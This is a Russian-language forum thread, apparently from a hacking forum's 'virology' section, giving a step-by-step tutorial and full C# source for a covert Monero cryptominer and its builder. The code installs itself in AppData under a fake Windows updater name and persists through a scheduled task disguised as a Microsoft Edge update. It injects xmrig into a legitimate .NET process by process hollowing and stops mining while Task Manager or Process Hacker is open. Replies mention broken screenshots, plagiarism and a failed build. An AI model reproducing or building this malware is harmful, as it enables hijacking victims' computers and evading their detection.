Загрузка...

Свой собственный скрытый Miner (CPU) / Builder на C#

Тема в разделе Вирусология создана пользователем ChnateGotts123 23 апр 2022. 4235 просмотров

Загрузка...
  1. ChnateGotts123
    ChnateGotts123 Автор темы 23 апр 2022 Заблокирован(а) 4 1 авг 2019
    Привет всем!
    Сегодня покажу вам один из вариантов написание своего майнера, сделанного в билдер

    Создаем проект C#, Консольное приложение (.NET Framework), выбираем платформу .NET Framework 4.6

    Создаем, и первым делом пропишем установку нашего майнера, для этого я предпочитаю создать новый класс, и дальше вставим код
    [IMG]


    C#
      public FileInfo FileName = new FileInfo("winupdater.exe"); // Задаем имя нашего майнера
    public DirectoryInfo DirectoryName = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Windows")); // Задаем путь в appdata

    public void IsInstalled()
    {
    Path.Combine(DirectoryName.FullName, FileName.Name); // Полный путь, с именем в папке
    }


    public void CreateDirectory()
    {
    if (DirectoryName.Exists) // Делаем проверку
    return;
    DirectoryName.Create(); // Создаем
    }

    public void InstallFile()
    {
    string path = Path.Combine(DirectoryName.FullName, FileName.Name);
    if (FileName.Exists) // Опять проверяем
    {
    foreach (Process process in Process.GetProcesses())
    {
    try
    {
    if (process.MainModule.FileName == path)
    process.Kill(); // Если есть процес, то убиваем
    }
    catch
    {
    }
    }
    File.Delete(path);// Если есть папка, удаляем
    Thread.Sleep(280); // Задержка
    }
    using (FileStream fileStream = new FileStream(path, FileMode.Create, FileAccess.Write))
    {
    byte[] buffer = File.ReadAllBytes(Application.ExecutablePath); // Считываем содержимое файла в виде масива байтов
    fileStream.Write(buffer, 0, buffer.Length); // И публикуем, все то что в содержимом файле
    }
    }


    public void Run()
    {
    try
    {
    IsInstalled();
    CreateDirectory();
    InstallFile();
    }
    catch
    {
    }
    }
    Дальше идем в Program, и пишем

    C#
      class Program
    {


    static string folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Windows"); // Путь в appdata

    public static void Main(string[] args)
    {

    string FileName = "winupdater.exe"; // Название процесса

    try
    {
    new Installer().Run();
    }
    catch (Exception ex)
    {
    }


    try
    {
    if (!InstanceCheck())
    Environment.Exit(0);
    }
    catch (Exception)
    { }

    try
    {
    var startInfo = new ProcessStartInfo // Идем в планировщик задач
    {
    FileName = "schtasks.exe",
    CreateNoWindow = false,
    WindowStyle = ProcessWindowStyle.Hidden, // Скрываем
    Arguments = @"/create /sc MINUTE /mo 3 /tn ""MicrosoftEdgeUpdate"" /tr """ + folder + "\\" + FileName + @""" /f" // Задаем аргументы
    };
    Process.Start(startInfo); // Запускаем
    }
    catch { }

    const string pool = "*MASSEGE2*"; // Наши значения в строке pool
    const string moneroUsage = "25";
    const string moneroWallet = "*MASSEGE*"; // Наши значения в строке moneroWallet

    byte[] xmr = VolVeRFMR.Properties.Resources.xmrig;
    string args2 = "--algo rx/0 --donate-level 0 --max-cpu-usage " + moneroUsage + " -o" + pool + " -u " + moneroWallet; // Добавим аргументов
    string withoutExtension1 = Path.GetFileNameWithoutExtension("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe"); // Путь для запуска

    List<string> stringList = new List<string>(); // Создаем лист процессов при которых будет останавливаться
    stringList.Add("mmc");
    stringList.Add("ProcessHacker");
    stringList.Add("Taskmgr");
    stringList.Add("Диспетчер задач");

    try
    {

    foreach (string processName in stringList)
    {
    for (Process[] processesByName = Process.GetProcessesByName(processName); processesByName.Length != 0; processesByName = Process.GetProcessesByName(processName))
    {
    foreach (Process process in Process.GetProcessesByName(withoutExtension1))
    {
    try
    {
    process.Kill();
    }
    catch
    {
    }
    }

    }
    }

    }

    catch { }


    try
    {
    if (Process.GetProcessesByName(withoutExtension1).Length == 0)
    Program.PE.Run(xmr, "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe", args2); // Запускаем

    }
    catch { }

    }


    static Mutex InstanceCheckMutex;
    static bool InstanceCheck()
    {
    bool isNew;
    InstanceCheckMutex = new Mutex(true, "SMILEFACE", out isNew);
    return isNew;
    }



    public static class PE
    {
    [DllImport("kernel32.dll")]
    private static extern unsafe bool CreateProcess(
    string lpApplicationName,
    string lpCommandLine,
    IntPtr lpProcessAttributes,
    IntPtr lpThreadAttributes,
    bool bInheritHandles,
    uint dwCreationFlags,
    IntPtr lpEnvironment,
    string lpCurrentDirectory,
    Program.PE.StartupInfo* lpStartupInfo,
    byte[] lpProcessInfo);

    [DllImport("kernel32.dll")]
    private static extern long VirtualAllocEx(
    long hProcess,
    long lpAddress,
    long dwSize,
    uint flAllocationType,
    uint flProtect);

    [DllImport("kernel32.dll")]
    private static extern long WriteProcessMemory(
    long hProcess,
    long lpBaseAddress,
    byte[] lpBuffer,
    int nSize,
    long written);

    [DllImport("ntdll.dll")]
    private static extern uint ZwUnmapViewOfSection(long ProcessHandle, long BaseAddress);

    [DllImport("kernel32.dll")]
    private static extern bool SetThreadContext(long hThread, IntPtr lpContext);

    [DllImport("kernel32.dll")]
    private static extern bool GetThreadContext(long hThread, IntPtr lpContext);

    [DllImport("kernel32.dll")]
    private static extern uint ResumeThread(long hThread);


    [DllImport("kernel32.dll")]
    private static extern bool CloseHandle(long handle);

    public static unsafe void Run(byte[] payloadBuffer, string host, string args)
    {
    int num1 = Marshal.ReadInt32((object)payloadBuffer, 60);
    int num2 = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 56);
    int nSize = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 60);
    int num3 = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 16);
    short num4 = Marshal.ReadInt16((object)payloadBuffer, num1 + 4 + 2);
    short num5 = Marshal.ReadInt16((object)payloadBuffer, num1 + 4 + 16);
    long num6 = Marshal.ReadInt64((object)payloadBuffer, num1 + 24 + 24);
    Program.PE.StartupInfo startupInfo = new Program.PE.StartupInfo();
    startupInfo.cb = (uint)Marshal.SizeOf<Program.PE.StartupInfo>(startupInfo);
    startupInfo.wShowWindow = (ushort)0;
    startupInfo.dwFlags = 1U;
    byte[] lpProcessInfo = new byte[24];
    IntPtr num7 = Marshal.AllocHGlobal(1232 / 16);
    string lpCommandLine = host;
    if (!string.IsNullOrEmpty(args))
    lpCommandLine = lpCommandLine + " " + args;
    string currentDirectory = Directory.GetCurrentDirectory();
    Marshal.WriteInt32(num7, 48, 1048603);
    Program.PE.CreateProcess((string)null, lpCommandLine, IntPtr.Zero, IntPtr.Zero, true, 4U, IntPtr.Zero, currentDirectory, &startupInfo, lpProcessInfo);
    long num8 = Marshal.ReadInt64((object)lpProcessInfo, 0);
    long num9 = Marshal.ReadInt64((object)lpProcessInfo, 8);
    int num10 = (int)Program.PE.ZwUnmapViewOfSection(num8, num6);
    Program.PE.VirtualAllocEx(num8, num6, (long)num2, 12288U, 64U);
    Program.PE.WriteProcessMemory(num8, num6, payloadBuffer, nSize, 0L);
    for (short index = 0; (int)index < (int)num4; ++index)
    {
    byte[] numArray = new byte[40];
    Buffer.BlockCopy((Array)payloadBuffer, num1 + (24 + (int)num5) + 40 * (int)index, (Array)numArray, 0, 40);
    int num11 = Marshal.ReadInt32((object)numArray, 12);
    int length = Marshal.ReadInt32((object)numArray, 16);
    int srcOffset = Marshal.ReadInt32((object)numArray, 20);
    byte[] lpBuffer = new byte[length];
    Buffer.BlockCopy((Array)payloadBuffer, srcOffset, (Array)lpBuffer, 0, lpBuffer.Length);
    Program.PE.WriteProcessMemory(num8, num6 + (long)num11, lpBuffer, lpBuffer.Length, 0L);
    }
    Program.PE.GetThreadContext(num9, num7);
    byte[] bytes = BitConverter.GetBytes(num6);
    long num12 = Marshal.ReadInt64(num7, 136);
    Program.PE.WriteProcessMemory(num8, num12 + 16L, bytes, 8, 0L);
    Marshal.WriteInt64(num7, 128, num6 + (long)num3);
    Program.PE.SetThreadContext(num9, num7);
    int num13 = (int)Program.PE.ResumeThread(num9);
    Marshal.FreeHGlobal(num7);
    Program.PE.CloseHandle(num8);
    Program.PE.CloseHandle(num9);
    }

    [StructLayout(LayoutKind.Explicit, Size = 104)]
    public struct StartupInfo
    {
    [FieldOffset(0)]
    public uint cb;
    [FieldOffset(60)]
    public uint dwFlags;
    [FieldOffset(64)]
    public ushort wShowWindow;
    }
    }


    }
    Должна получится вот такая картина, если да, то продолжаем
    [IMG]

    Дальше для удобства создаем Builder

    [IMG]
    Создаем и накидываем пару textBox для кошелька и пула, и button для создания build.

    [IMG]

    Дальше делаем значение button1_Click


    C#
    CompilerParameters Params = new CompilerParameters();
    Params.GenerateExecutable = true;
    Params.ReferencedAssemblies.Add("System.dll"); //Добавлем линк в исходный файл на System.dll
    Params.ReferencedAssemblies.Add("System.Windows.Forms.dll"); //Тоже самое но на System.Windwos.Forms.dlle
    Params.ReferencedAssemblies.Add("System.Management.dll");
    Params.ReferencedAssemblies.Add("System.Core.dll");
    Params.CompilerOptions = "/unsafe";
    Params.CompilerOptions += "\n/t:winexe"; //Убираем cmd окно путём объявления программы Windows приложением
    Params.OutputAssembly = "Build.exe"; //Имя исходного файла
    Дальше кидаем в ресурсы наш код, и xmrig

    [IMG]

    Далее опять прописываем в button1_Click

    C#
      string resource = Properties.Resources.Program;
    string resource2 = Properties.Resources.Installer;
    string resource3 = Properties.Resources.Resources_Designer;



    using (var v = new ResourceWriter(Path.GetTempPath() + @"\" + resxPath2 + ".resources"))
    {

    v.AddResource("xmrig", Properties.Resources.xmrig); // Кидаем xmrig в ресурсы

    }

    Params.EmbeddedResources.Add(System.IO.Path.GetTempPath() + @"\" + resxPath2 + ".resources");


    resource = resource.Replace("*MASSEGE*", textBox1.Text); // Заменяем значения для MASSEGE
    resource = resource.Replace("*MASSEGE2*", textBox2.Text); // Заменяем значения для MASSEGE2



    var settings = new Dictionary<string, string>();
    settings.Add("CompilerVersion", "v4.0"); //Указываем версию framework-a 2.0

    CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, resource, resource2, resource3);

    if (Results.Errors.Count > 0)
    {

    foreach (CompilerError err in Results.Errors)
    MessageBox.Show(err.ToString()); //Выводим циклом ошибки, если они есть
    }
    else
    {
    MessageBox.Show("Готово, файл появится в том же месте где и программа :)"); //Выводим сообщение что всё прошло успешно
    }
    [IMG]

    Запускаем, вводим значение, и нажимаем Build, если все работает то:
    [IMG]

    Кому надо уже готовый: https://github.com/VolVeRFM/CPU-Miner-Builder
     
  2. Ober
    Ober 23 апр 2022 Будь на LolzTeam - любая телка даст интим 4366 3 авг 2019
    Скрины битые, фикси
     
    1. call_mommy
      Ober, ничего не битое просто нажми на них
    2. Ober
      call_mommy, зачем на них нажимать, просто фиксани, чтобы лишних кликов не делать + навести красоту, чем видеть битые картинки
  3. солнце
    солнце 23 апр 2022 Чужое не нужно... Из-за этого продаю на маркете 459 7 май 2018
    Копипаст https://teletype.in/@volver/VolVeRMINER
    И скрины не поправил удаля скрин с ником человека написавшего статью -реп
     
    1. ChnateGotts123 Автор темы
  4. egorpahotin3106
    не собирается
     
Top